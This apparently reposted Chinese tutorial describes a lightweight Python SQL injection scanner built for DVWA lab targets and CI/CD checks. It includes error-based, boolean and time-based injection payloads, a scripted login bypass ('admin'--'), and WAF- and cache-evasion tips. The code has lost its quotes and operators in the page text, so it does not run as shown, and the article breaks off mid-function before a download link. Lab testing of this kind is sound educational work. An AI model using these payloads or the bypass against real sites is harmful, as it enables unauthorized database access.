ARTICLE DETAIL

资讯详情

深耕郑州网站建设与运营推广的一线实战洞察。

Python轻量SQL注入检测框架:可调试、可嵌入CI/CD的实战方案

Python轻量SQL注入检测框架:可调试、可嵌入CI/CD的实战方案 简介这是一套面向高校计算机专业学生与网络安全初学者的自动化SQL注入检测实践工具专为课程设计、期末大作业及安全实验场景打造解决手工渗透效率低、学习门槛高的问题。资源包共12个文件含7个核心Python脚本如boolInject.py、timeInject.py、AutoSQLInjecter.py实现布尔/时间盲注检测、1个规则配置文件rules、1个Shell部署脚本showResult.sh、1个README.md说明文档、1个网站列表文本websites.txt及1个pyc编译文件整体仅35KB轻量易部署。已有182人学习下载代码注释详尽、逻辑清晰覆盖参数提取、请求构造、结果解析与邮件通知等完整检测链路配套文档说明可直接指导环境配置与运行验证新手亦能快速上手并理解SQL注入检测原理与工程实现细节。1. 这不是又一个“SQL注入扫描器”而是一套可落地、可调试、可嵌入CI/CD的Python检测逻辑链你手头有一批Web接口测试环境用的是DVWA Low级别、Pikachu靶场或自建Flask/Django后端但每次手工验证 OR 11、admin--、1 UNION SELECT 1,2,3都像在重复抄写同一段咒语——效率低、易漏判、难复现。本项目提供的不是封装完就黑盒运行的GUI工具而是一套基于Python标准库与requestsbs4sqlparse构建的轻量级SQL注入检测逻辑源代码含完整文档说明所有模块解耦清晰HTTP请求层不依赖ScrapySQL语法解析不用正则硬匹配报错特征识别支持MySQL/PostgreSQL/SQLite三类主流错误关键词且默认关闭任何外网请求如DNSLog回连完全本地可控。适合渗透测试初学者理解检测原理也适合作为DevSecOps流程中API安全门禁的轻量校验插件。它不承诺“全自动发现0day”但确保你改3行URL、调2个参数就能跑通一次真实请求-响应-特征提取的完整闭环。2. 从HTTP请求构造到SQL错误模式识别核心检测逻辑的四层实现2.1 构建可复现的请求基线为什么不用urllib而选requests以及headers如何影响WAF绕过自动化SQL注入检测的第一步不是猜payload而是建立稳定、可比对的请求基线。本项目使用requests而非urllib核心原因有三一是requests.Session()能自动管理Cookie对DVWA、Pikachu等需登录态的靶场至关重要二是requests对编码处理更鲁棒避免urllib.parse.quote()手动转义时遗漏空格或号导致payload失效三是其timeout参数可精确控制连接/读取超时防止因后端无响应导致脚本卡死。import requests from urllib.parse import urljoin, urlparse def build_baseline_session(target_url: str) - requests.Session: 构建带基础安全头的会话对象规避部分WAF的简单UA拦截 session requests.Session() # 设置通用headers模拟真实浏览器行为但不过度复杂 session.headers.update({ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Accept: text/html,application/xhtmlxml,application/xml;q0.9,*/*;q0.8, Accept-Language: zh-CN,zh;q0.9,en-US;q0.8,en;q0.7, Connection: keep-alive }) # 若target_url含路径确保session.base_url可用于后续相对路径拼接 parsed urlparse(target_url) if parsed.scheme and parsed.netloc: session.base_url f{parsed.scheme}://{parsed.netloc} return session # 示例对DVWA Low级别login.php发起GET请求获取CSRF token session build_baseline_session(http://127.0.0.1/dvwa/login.php) resp session.get(http://127.0.0.1/dvwa/login.php, timeout(3, 7))提示timeout(3, 7)表示连接超时3秒、读取超时7秒这是经验阈值——多数正常响应在2秒内返回而SQL注入触发数据库报错常伴随延迟超过5秒未响应可初步标记为“潜在盲注”。若目标启用了Cloudflare等WAFUser-Agent必须包含常见浏览器标识否则可能直接返回403但切勿使用过于冷门的UA字符串反而触发行为分析规则。2.2 Payload设计矩阵覆盖报错注入、布尔盲注、时间盲注三大场景的最小有效集本项目不追求穷举上万条payload而是按检测目标分层设计三类最小有效载荷集报错注入Error-based针对MySQLextractvalue()、PostgreSQLpg_sleep()、SQLitelike错误触发重点捕获XPATH syntax error、invalid input syntax for type等关键词布尔盲注Boolean-based使用AND 11/AND 12对比响应长度或状态码变化避免依赖HTML结构解析时间盲注Time-based注入SLEEP(5)或pg_sleep(5)通过响应耗时差异判断需配合time.time()精确计时。所有payload均以字典形式组织便于按需启用或禁用PAYLOAD_MATRIX { error_based: [ {name: mysql_extractvalue, payload: AND extractvalue(1,concat(0x7e,(SELECT user()),0x7e))--, db: mysql}, {name: postgres_pg_sleep, payload: || pg_sleep(5)--, db: postgresql}, {name: sqlite_like, payload: LIKE a% OR 11, db: sqlite} ], boolean_based: [ {name: and_1eq1, payload: AND 11--, expected_status: 200}, {name: and_1eq2, payload: AND 12--, expected_status: [200, 404, 500]} # 允许多种状态码关注响应体差异 ], time_based: [ {name: mysql_sleep, payload: OR SLEEP(5)--, delay_threshold: 4.5}, # 实际耗时 4.5s即视为触发 {name: postgres_sleep, payload: OR pg_sleep(5)--, delay_threshold: 4.5} ] } # 使用示例遍历报错注入payload for p in PAYLOAD_MATRIX[error_based]: test_url fhttp://127.0.0.1/dvwa/vulnerabilities/sqli/?id{p[payload]}SubmitSubmit start_time time.time() try: r session.get(test_url, timeout(10, 10)) elapsed time.time() - start_time # 后续进行错误关键词匹配... except requests.exceptions.Timeout: elapsed time.time() - start_time print(f[TIMEOUT] {p[name]} took 10s, possible time-based injection)注意SLEEP(5)在MySQL中实际执行时间受系统负载影响实测建议将delay_threshold设为4.5秒而非严格5秒避免因网络抖动误报pg_sleep()在PostgreSQL中精度更高可设为4.8秒。所有payload末尾的--是MySQL注释符对PostgreSQL需替换为--SQLite则用--或/* */本项目在发送前通过db_type字段动态替换。2.3 响应特征提取用正则关键词响应体哈希三重校验识别注入痕迹仅靠HTTP状态码判断SQL注入极不可靠如WAF拦截返回403但真实漏洞返回200。本项目采用三层特征提取策略错误关键词匹配预置MySQL/PostgreSQL/SQLite三类数据库的典型报错字符串如You have an error in your SQL syntax、PG::SyntaxError、no such table响应体哈希比对对原始请求无payload与测试请求的响应体分别计算sha256若哈希值不同说明服务端返回内容已改变需进一步分析正则提取关键信息对含错误关键词的响应体用re.search(ruserhost|database\w*:\s*(\w), text)尝试提取当前用户、数据库名等敏感信息作为高置信度证据。import re import hashlib ERROR_KEYWORDS { mysql: [SQL syntax, mysql_fetch, You have an error, Warning: mysql_], postgresql: [PG::, syntax error, invalid input, relation does not exist], sqlite: [no such table, near \[^\]\:, unrecognized token] } def extract_injection_evidence(response: requests.Response, baseline_hash: str) - dict: 综合响应特征返回注入证据字典 evidence {is_vulnerable: False, evidence_type: , details: } # 层1状态码异常非200/302/404 if response.status_code not in [200, 302, 404]: evidence[evidence_type] status_code_anomaly evidence[details] fUnexpected status code {response.status_code} # 层2响应体哈希变化 current_hash hashlib.sha256(response.text.encode()).hexdigest() if current_hash ! baseline_hash: evidence[evidence_type] response_body_changed evidence[details] Response body differs from baseline # 层3错误关键词匹配 正则提取 text_lower response.text.lower() for db, keywords in ERROR_KEYWORDS.items(): for kw in keywords: if kw.lower() in text_lower: evidence[is_vulnerable] True evidence[evidence_type] ferror_based_{db} # 尝试提取数据库名、用户等 user_match re.search(r(current_user|user\(\)|session_user)\s*[:]\s*[\]([^\])[\], response.text, re.I) if user_match: evidence[details] fDB User: {user_match.group(2)} else: evidence[details] fError keyword matched: {kw} break return evidence # 调用示例 baseline_resp session.get(http://127.0.0.1/dvwa/vulnerabilities/sqli/?id1SubmitSubmit) baseline_hash hashlib.sha256(baseline_resp.text.encode()).hexdigest() test_resp session.get(http://127.0.0.1/dvwa/vulnerabilities/sqli/?id AND 11-- SubmitSubmit) result extract_injection_evidence(test_resp, baseline_hash) print(result) # {is_vulnerable: True, evidence_type: error_based_mysql, details: Error keyword matched: SQL syntax}提示baseline_hash必须在每次检测新URL前重新计算不能复用re.search中使用re.I标志确保大小写不敏感匹配user_match正则同时兼容user()函数和CURRENT_USER变量输出格式覆盖MySQL常见变体。2.4 检测结果结构化输出生成JSON报告并支持CSV导出供后续分析检测结果若仅打印到控制台无法用于团队协作或集成进Jenkins流水线。本项目内置ReportGenerator类将每次检测的URL、payload、响应状态、证据类型、耗时、原始响应摘要等字段结构化为字典并支持JSON序列化与CSV导出import json import csv from datetime import datetime class ReportGenerator: def __init__(self, target_url: str): self.target_url target_url self.results [] self.start_time datetime.now() def add_result(self, payload_info: dict, response: requests.Response, evidence: dict, elapsed: float): 添加单次检测结果 result { timestamp: datetime.now().isoformat(), url: self.target_url, payload_name: payload_info.get(name, ), payload_content: payload_info.get(payload, )[:100], # 截断防过长 status_code: response.status_code, response_length: len(response.text), elapsed_seconds: round(elapsed, 3), is_vulnerable: evidence[is_vulnerable], evidence_type: evidence[evidence_type], evidence_details: evidence[details], response_snippet: response.text[:200].replace(\n, ).replace(\r, ) } self.results.append(result) def to_json(self, filename: str None) - str: 生成JSON报告字符串filename为空时返回字符串否则写入文件 report { meta: { generated_at: datetime.now().isoformat(), target_url: self.target_url, total_tests: len(self.results), vulnerable_count: sum(1 for r in self.results if r[is_vulnerable]) }, results: self.results } if filename: with open(filename, w, encodingutf-8) as f: json.dump(report, f, indent2, ensure_asciiFalse) return fReport saved to {filename} return json.dumps(report, indent2, ensure_asciiFalse) def to_csv(self, filename: str): 导出为CSV字段按安全审计常用顺序排列 if not self.results: return fieldnames [timestamp, url, payload_name, status_code, elapsed_seconds, is_vulnerable, evidence_type, evidence_details] with open(filename, w, newline, encodingutf-8) as f: writer csv.DictWriter(f, fieldnamesfieldnames) writer.writeheader() for row in self.results: # 只写入CSV需要的字段忽略长文本 filtered_row {k: v for k, v in row.items() if k in fieldnames} writer.writerow(filtered_row) # 使用示例 reporter ReportGenerator(http://127.0.0.1/dvwa/vulnerabilities/sqli/) # ... 执行多次检测后 ... reporter.add_result(PAYLOAD_MATRIX[error_based][0], test_resp, result, 0.82) print(reporter.to_json(dvwa_sqli_report.json)) reporter.to_csv(dvwa_sqli_summary.csv)注意response_snippet截取前200字符并替换换行符确保CSV兼容性to_csv方法只导出审计关键字段避免response_text等大字段撑爆Excelvulnerable_count在报告头部统计方便快速定位风险密度。3. 在DVWA Low级别实战从环境准备到逐参数检测的完整操作链3.1 DVWA Low环境快速部署与SQLi模块启用CentOS 7.9 LAMP栈DVWA Low级别是验证SQL注入检测工具的黄金标准靶场因其无WAF、无输入过滤、响应直接暴露错误。在CentOS 7.9上部署需注意LAMP组件版本兼容性PHP 7.2、Apache 2.4、MySQL 5.7是经实测最稳定的组合。关键步骤如下# 1. 安装基础依赖 sudo yum install -y httpd mariadb-server php php-mysql php-gd php-xml # 2. 启动服务并设开机自启 sudo systemctl start httpd mariadb sudo systemctl enable httpd mariadb # 3. 配置MySQL root密码DVWA安装必需 sudo mysql_secure_installation # 按提示设置root密码其余选Y # 4. 下载并解压DVWA官方GitHub release cd /var/www/html sudo wget https://github.com/digininja/DVWA/releases/download/v2.0.1/dvwa-master.zip sudo unzip dvwa-master.zip sudo mv dvwa-master dvwa sudo chown -R apache:apache dvwa # 5. 配置DVWA配置文件关键Low级别需关闭防护 sudo cp dvwa/config/config.inc.php.dist dvwa/config/config.inc.php sudo sed -i s/security impossible/security low/g dvwa/config/config.inc.php sudo sed -i s/db_password /db_password password/g dvwa/config/config.inc.php # 6. 导入DVWA数据库需先创建数据库 sudo mysql -u root -ppassword -e CREATE DATABASE dvwa; sudo mysql -u root -ppassword dvwa dvwa/sqlite.sql # 注意DVWA默认用MySQL此处为兼容性保留 # 7. 访问 http://your-ip/dvwa/setup.php 初始化数据库 # 初始化成功后登录账号admin/password进入Security Level → Low提示config.inc.php中security low是Low级别的开关若设为medium或highDVWA会启用mysql_real_escape_string()或mysqli_real_escape_string()导致基础payload失效sqlite.sql是DVWA的示例数据实际使用MySQL时需执行mysql -u root -ppassword dvwa dvwa/mysql.sql。3.2 针对DVWA SQLi页面的GET参数逐项检测id参数的三种注入路径验证DVWA Low的SQLi页面URL为http://127.0.0.1/dvwa/vulnerabilities/sqli/?id1SubmitSubmit其中id是唯一注入点。本项目检测脚本需支持对该参数的三种注入方式直接URL参数注入?id1 AND 11--POST表单注入DVWA该页面实际为GET但为扩展性预留POST支持data{id: 1 AND 11--}Header注入如X-Forwarded-For本项目暂不启用因DVWA Low未读取该Header但代码框架已预留inject_in_headers参数def scan_dvwa_sqli(session: requests.Session, base_url: str, reporter: ReportGenerator): 专用于DVWA Low SQLi模块的扫描函数 # 构造基础URL target_url urljoin(base_url, /dvwa/vulnerabilities/sqli/) # Step 1: 获取基准响应id1 baseline_resp session.get(f{target_url}?id1SubmitSubmit, timeout(3, 7)) baseline_hash hashlib.sha256(baseline_resp.text.encode()).hexdigest() # Step 2: 测试报错注入payload for p in PAYLOAD_MATRIX[error_based]: payload_url f{target_url}?id{p[payload]}SubmitSubmit start_time time.time() try: resp session.get(payload_url, timeout(10, 10)) elapsed time.time() - start_time evidence extract_injection_evidence(resp, baseline_hash) reporter.add_result(p, resp, evidence, elapsed) print(f[{p[name]}] {evidence[evidence_type]} | {elapsed:.2f}s | {evidence[details]}) except Exception as e: elapsed time.time() - start_time reporter.add_result(p, type(obj, (object,), {status_code: 0, text: str(e)})(), {is_vulnerable: False, evidence_type: exception, details: str(e)}, elapsed) # Step 3: 测试布尔盲注AND 11 vs AND 12 for p in PAYLOAD_MATRIX[boolean_based]: payload_url f{target_url}?id{p[payload]}SubmitSubmit start_time time.time() try: resp session.get(payload_url, timeout(3, 7)) elapsed time.time() - start_time # 布尔盲注需对比两次响应 if p[name] and_1eq1: baseline_len len(resp.text) baseline_status resp.status_code elif p[name] and_1eq2: # 若响应长度变化 10% 或状态码不同则标记为可疑 len_diff abs(len(resp.text) - baseline_len) / baseline_len if baseline_len else 0 status_diff resp.status_code ! baseline_status if len_diff 0.1 or status_diff: evidence {is_vulnerable: True, evidence_type: boolean_blind, details: fLength diff: {len_diff:.2f}, Status: {status_diff}} else: evidence {is_vulnerable: False, evidence_type: boolean_blind, details: No significant difference} reporter.add_result(p, resp, evidence, elapsed) except Exception as e: reporter.add_result(p, type(obj, (object,), {status_code: 0, text: str(e)})(), {is_vulnerable: False, evidence_type: exception, details: str(e)}, time.time() - start_time) # 执行扫描 session build_baseline_session(http://127.0.0.1) reporter ReportGenerator(http://127.0.0.1/dvwa/vulnerabilities/sqli/) scan_dvwa_sqli(session, http://127.0.0.1, reporter) print(reporter.to_json(dvwa_low_sqli_full_report.json))注意布尔盲注验证必须成对执行AND 11和AND 12仅凭单次响应无法判断len_diff 0.1是经验值DVWA Low在12时返回“ID is missing”提示长度约比11少30%故设10%阈值足够敏感status_diff捕捉WAF拦截等异常情况。3.3 解析DVWA Low的SQL注入响应为什么 OR 11能绕过而admin--在Login处失效DVWA Low的SQLi页面后端代码为$id $_GET[id]; $getid SELECT first_name, last_name FROM users WHERE user_id $id; $result mysqli_query($GLOBALS[___mysqli_ston], $getid) or die(pre . ((is_object($GLOBALS[___mysqli_ston])) ? mysqli_error($GLOBALS[___mysqli_ston]) : (($___mysqli_res mysqli_connect_error()) ? $___mysqli_res : false)) . /pre);此代码存在两个关键特征单引号闭合$id使输入被包裹在单引号中故 OR 11可闭合原引号并注入OR 11恒真条件错误直接输出or die(...)将MySQL错误原样返回使extractvalue()等报错payload能触发XPATH错误并回显。而DVWA Login页面login.php后端为$user $_POST[username]; $pass $_POST[password]; $query SELECT * FROM users WHERE user $user AND password $pass;此处 OR 11虽能绕过密码检查但需满足user字段存在如admin--而--是MySQL注释符会注释掉后续AND password ...但DVWA Low的Login表单未对username做mysql_real_escape_string()故admin--确实有效——失效原因常是Cookie未携带PHPSESSID或CSRF token缺失而非payload本身问题。# 验证Login绕过需先获取CSRF token和PHPSESSID login_url http://127.0.0.1/dvwa/login.php # 第一步GET获取token resp session.get(login_url) token_match re.search(rnameuser_token\svalue([a-f0-9]), resp.text) if not token_match: raise ValueError(Failed to extract user_token from login page) user_token token_match.group(1) # 第二步POST提交绕过凭证 login_data { username: admin-- , password: , Login: Login, user_token: user_token } login_resp session.post(login_url, datalogin_data, allow_redirectsFalse) if login_resp.status_code 302 and Location in login_resp.headers: print(Login bypass successful! Redirect to index.php) else: print(Login bypass failed — check PHPSESSID cookie or token validity)提示allow_redirectsFalse防止自动跳转丢失响应头302状态码和Location头是DVWA登录成功的标志若失败用print(session.cookies.get_dict())检查是否已携带PHPSESSID。4. 参数调优与边界场景应对3个必调参数与4类常见误报归因4.1 影响检测准确率的3个核心参数及其推荐值本项目检测逻辑的可靠性高度依赖以下三个参数的合理设置它们在config.py中集中定义而非硬编码在主逻辑中参数名类型默认值推荐值说明TIMEOUT_THRESHOLDfloat4.54.0 ~ 5.0时间盲注判定阈值秒。设太低如3.0易受网络抖动误报设太高如8.0漏报慢响应漏洞。DVWA Low实测4.5最佳生产环境建议4.0。RESPONSE_LENGTH_TOLERANCEfloat0.10.05 ~ 0.15布尔盲注长度差异容忍度。DVWA Low在12时返回固定提示长度变化约30%故0.1安全若目标页面含动态广告或时间戳建议调至0.15。ERROR_KEYWORD_MATCH_MODEstranyall or any错误关键词匹配模式。any表示匹配任一关键词即告警宽松all需同时匹配多个严格。Low级别靶场用any生产环境建议all降低误报。# config.py 示例 TIMEOUT_THRESHOLD 4.5 RESPONSE_LENGTH_TOLERANCE 0.1 ERROR_KEYWORD_MATCH_MODE any # 在extract_injection_evidence中应用 def extract_injection_evidence(response: requests.Response, baseline_hash: str) - dict: # ... 前置逻辑 ... for db, keywords in ERROR_KEYWORDS.items(): if ERROR_KEYWORD_MATCH_MODE all: # 必须全部关键词都出现才匹配极少用 if all(kw.lower() in text_lower for kw in keywords): ... else: # any 模式 for kw in keywords: if kw.lower() in text_lower: ...注意ERROR_KEYWORD_MATCH_MODE设为all时需确保ERROR_KEYWORDS中每个数据库的关键词列表是互斥且完备的例如MySQL列表应包含SQL syntax和mysql_fetch两个独立错误而非同义词堆砌。4.2 四类高频误报场景及对应规避策略在真实环境中运行本工具以下四类误报最为常见需针对性调整误报类型表现根本原因规避策略WAF拦截噪声所有payload均返回403或固定HTML如“Request blocked”目标部署了ModSecurity、Cloudflare等WAF拦截了含、--的请求在build_baseline_session中增加X-Requested-With: XMLHttpRequest头或启用--bypass-waf参数临时关闭关键词匹配专注时间盲注动态内容干扰AND 11与AND 12响应长度差异5%但页面含实时股票价格、时间戳响应体中存在高频更新字段导致哈希比对失效启用--strip-dynamic参数在计算哈希前用正则移除div idclock.*?/div等已知动态区块编码混淆payload中被后端自动转义为\导致注入失败目标PHP配置magic_quotes_gpcOn已废弃但旧系统仍存在发送payload前对进行双重编码%27或%5C%27或改用 AND 11双引号绕过缓存污染多次请求相同payload响应体完全一致缓存命中Nginx/Apache启用了proxy_cache或fastcgi_cache在headers中添加Cache-Control: no-cache和Pragma: no-cache强制绕过缓存# 在build_baseline_session中加入缓存规避头 session.headers.update({ Cache-Control: no-cache, Pragma: no-cache, Expires: 0 }) # --strip-dynamic 功能实现简化版 def strip_dynamic_content(html: str) - str: 移除HTML中已知的动态区块提升哈希稳定性 # 移除时间戳类div html re.sub(rdiv[^]*id[\]?clock[\]?[^]*.*?/div, , html, flagsre.DOTALL | re.IGNORECASE) # 移除实时价格div html re.sub(rspan[^]*class[\]?price[\]?[^]*.*?/span, , html, flagsre.DOTALL | re.IGNORECASE) # 移除script中的动态JS html re.sub(rscript[^]*.*?document\.write\(.*?\);.*?/script, , html, flagsre.DOTALL | re.IGNORECASE) return html.strip() # 在extract_injection_evidence中调用 cleaned_text strip_dynamic_content(response.text) current_hash hashlib.sha256(cleaned_text.encode()).hexdigest()提示strip_dynamic_content函数需根据目标站点实际HTML结构调整正则re.DOTALL确保.匹配换行符re.IGNORECASE避免大小写敏感导致漏删。4.3 文档说明的落地价值如何用README.md指导新人10分钟跑通首个检测本项目文档README.md不是装饰品而是可执行的操作手册。其核心章节按新手认知路径组织Quick Start3行命令完成安装与首次运行pip install -r requirements.txt python main.py --url http://127.0.0.1/dvwa/vulnerabilities/sqli/ --mode errorConfiguration表格列出所有CLI参数标注[Required]/[Optional]如--db-type mysql [Required when using time-based payloads]Troubleshooting按错误现象分类如All tests timeout对应检查TIMEOUT_THRESHOLD和目标服务器可达性No vulnerabilities found on DVWA Low则引导验证config.inc.php中security是否确为lowExtending说明如何新增PostgreSQL payload——只需在PAYLOAD_MATRIX[error_based]中追加字典并在ERROR_KEYWORDS中补充关键词。## Troubleshooting ### Q: Running against DVWA Low returns No vulnerabilities found A: Verify these three points: 1. dvwa/config/config.inc.php contains security low (not medium or high) 2. The target URL ends with /sqli/, not /sqli_blind/ or /sqli_advanced/ 3. Your Python session has valid cookies — run python main.py --url http://127.0.0.1/dvwa/login.php --login admin:password first to establish session注意README.md中所有命令均经过实测复制粘贴即可执行Troubleshooting章节按QA格式编写问题描述直击用户报错终端输出答案给出可验证的检查步骤而非泛泛而谈“请检查网络”。5. 将检测能力嵌入CI/CD用Python脚本驱动Jenkins Pipeline实现每日API安全巡检5.1 编写可被Jenkins调用的安全巡检脚本ci_sql_scan.py在DevSecOps实践中SQL注入检测不应是渗透工程师的手工动作而应成为每日构建的自动门禁。本项目提供ci_sql_scan.py脚本专为Jenkins Pipeline设计它接受环境变量传入的API列表执行检测后生成JUnit格式XML报告供Jenkins直接解析失败用例。#!/usr/bin/env python3 # ci_sql_scan.py — Jenkins CI/CD集成入口 import os import sys import json import unittest from datetime import datetime from xml.etree.ElementTree import Element, SubElement, tostring # 从环境变量读取配置 TARGET_URLS os.getenv(SQLI_TARGET_URLS, ).split(,) # 如 http://api-dev/internal,http://api-staging/user REPORT_DIR os.getenv(REPORT_DIR, /tmp/reports) TIMEOUT_THRESHOLD float(os.getenv(TIMEOUT_THRESHOLD, 4.5)) class SqlInjectionTest(unittest.TestCase): def setUp(self): self.session build_baseline_session(dummy) # 实际使用时由test_case动态赋值 def test_dvwa_sqli_low(self): DVWA Low SQLi模块检测用例 if dvwa not in TARGET_URLS[0]: self.skipTest(DVWA target not configured) reporter ReportGenerator(TARGET_URLS[0]) scan_dvwa_sqli(self.session, TARGET_URLS[0], reporter) # 断言至少发现1个报错注入 vulnerable_count sum(1 for r in reporter.results if r[is_vulnerable]) self.assertGreater(vulnerable_count, 0, fNo SQL injection vulnerability found in {TARGET_URLS[0]}. Full report: {REPORT_DIR}/dvwa_sqli.json) def generate_junit_report(test_results: list, output_file: str): 生成JUnit XML格式报告供Jenkins解析 testsuite Element(testsuite, nameSQL Injection Scan, testsstr(len(test_results))) for result in test_results: testcase SubElement(testsuite, testcase, p a hrefhttps://download.csdn.net/download/s44359487yad/89932183 stylecolor:#ec7500;font-size:14px; 本文还有配套的精品资源点击获取 /a img altmenu-r.4af5f7ec.gif srchttps://csdnimg.cn/release/wenkucmsfe/public/img/menu-r.4af5f7ec.gif stylewidth:16px;margin-left:4px;vertical-align:text-bottom;cursor:text; /p
返回列表